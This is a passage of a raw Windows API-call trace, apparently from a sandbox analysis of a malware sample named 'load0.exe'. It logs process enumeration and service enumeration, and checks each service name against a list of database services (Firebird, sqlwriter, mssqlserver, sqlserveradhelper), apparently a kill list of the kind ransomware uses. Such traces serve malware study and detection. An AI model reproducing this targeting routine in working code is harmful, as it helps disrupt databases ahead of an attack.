(lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0290.553] lstrlenW (lpString="SystemEventsBroker") returned 18 [0290.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.553] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0290.553] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0290.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10ac [0290.557] Process32FirstW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.558] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.558] lstrlenW (lpString="System") returned 6 [0290.559] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.559] lstrlenW (lpString="smss.exe") returned 8 [0290.559] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.560] lstrlenW (lpString="csrss.exe") returned 9 [0290.560] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.560] lstrlenW (lpString="wininit.exe") returned 11 [0290.561] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.561] lstrlenW (lpString="csrss.exe") returned 9 [0290.561] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.562] lstrlenW (lpString="winlogon.exe") returned 12 [0290.562] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.562] lstrlenW (lpString="services.exe") returned 12 [0290.562] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.563] lstrlenW (lpString="lsass.exe") returned 9 [0290.563] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.564] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.564] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.564] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.564] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.565] lstrlenW (lpString="svchost.exe") returned 11 [0290.565] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.566] lstrlenW (lpString="svchost.exe") returned 11 [0290.566] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.566] lstrlenW (lpString="dwm.exe") returned 7 [0290.567] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.567] lstrlenW (lpString="svchost.exe") returned 11 [0290.567] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.568] lstrlenW (lpString="svchost.exe") returned 11 [0290.568] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.568] lstrlenW (lpString="svchost.exe") returned 11 [0290.568] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.569] lstrlenW (lpString="svchost.exe") returned 11 [0290.569] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.570] lstrlenW (lpString="svchost.exe") returned 11 [0290.570] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.570] lstrlenW (lpString="svchost.exe") returned 11 [0290.570] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.571] lstrlenW (lpString="svchost.exe") returned 11 [0290.571] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.571] lstrlenW (lpString="svchost.exe") returned 11 [0290.572] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.572] lstrlenW (lpString="svchost.exe") returned 11 [0290.572] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.573] lstrlenW (lpString="svchost.exe") returned 11 [0290.573] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.573] lstrlenW (lpString="spoolsv.exe") returned 11 [0290.574] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.574] lstrlenW (lpString="svchost.exe") returned 11 [0290.574] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.575] lstrlenW (lpString="audiodg.exe") returned 11 [0290.575] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.575] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0290.575] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.576] lstrlenW (lpString="Memory Compression") returned 18 [0290.576] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.577] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0290.577] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.577] lstrlenW (lpString="sihost.exe") returned 10 [0290.577] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.578] lstrlenW (lpString="svchost.exe") returned 11 [0290.578] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.579] lstrlenW (lpString="taskhostw.exe") returned 13 [0290.579] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0290.579] lstrlenW (lpString="msoia.exe") returned 9 [0290.579] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.580] lstrlenW (lpString="explorer.exe") returned 12 [0290.580] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.581] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0290.581] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.581] lstrlenW (lpString="SearchUI.exe") returned 12 [0290.581] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.582] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0290.582] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0290.583] lstrlenW (lpString="load0.exe") returned 9 [0290.583] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.583] lstrlenW (lpString="svchost.exe") returned 11 [0290.583] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0290.589] lstrlenW (lpString="cmd.exe") returned 7 [0290.590] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0290.592] lstrlenW (lpString="conhost.exe") returned 11 [0290.593] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0290.594] lstrlenW (lpString="conhost.exe") returned 11 [0290.594] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0290.594] CloseHandle (hObject=0x10ac) returned 1 [0290.594] Sleep (dwMilliseconds=0x1f4) [0291.098] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd940 [0291.099] EnumServicesStatusExW (in: hSCManager=0x7bd940, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0291.099] GetLastError () returned 0xea [0291.099] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0291.100] EnumServicesStatusExW (in: hSCManager=0x7bd940, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0291.100] CloseServiceHandle (hSCObject=0x7bd940) returned 1 [0291.100] lstrlenW (lpString="Appinfo") returned 7 [0291.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0291.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0291.100] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0291.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0291.101] lstrlenW (lpString="AppXSvc") returned 7 [0291.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0291.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0291.101] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0291.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0291.101] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0291.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.101] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0291.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0291.101] lstrlenW (lpString="Audiosrv") returned 8 [0291.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0291.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0291.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0291.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0291.101] lstrlenW (lpString="BFE") returned 3 [0291.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0291.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0291.101] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0291.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0291.101] lstrlenW (lpString="BITS") returned 4 [0291.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0291.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0291.101] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0291.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0291.101] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0291.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.101] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0291.101] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0291.102] lstrlenW (lpString="CDPSvc") returned 6 [0291.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0291.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0291.102] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0291.102] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0291.102] lstrlenW (lpString="ClickToRunSvc") returned 13 [0291.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.102] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0291.102] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0291.102] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0291.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.102] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0291.102] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0291.102] lstrlenW (lpString="CryptSvc") returned 8 [0291.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0291.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0291.102] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0291.102] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0291.102] lstrlenW (lpString="DcomLaunch") returned 10 [0291.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.102] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0291.102] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0291.102] lstrlenW (lpString="DeviceAssociationService") returned 24 [0291.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.102] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0291.102] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0291.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0291.103] lstrlenW (lpString="Dhcp") returned 4 [0291.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0291.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0291.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0291.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0291.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0291.103] lstrlenW (lpString="Dnscache") returned 8 [0291.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0291.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0291.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0291.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0291.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0291.103] lstrlenW (lpString="DPS") returned 3 [0291.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0291.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0291.103] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0291.103] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0291.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0291.103] lstrlenW (lpString="DusmSvc") returned 7 [0291.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0291.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0291.103] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0291.103] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0291.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") 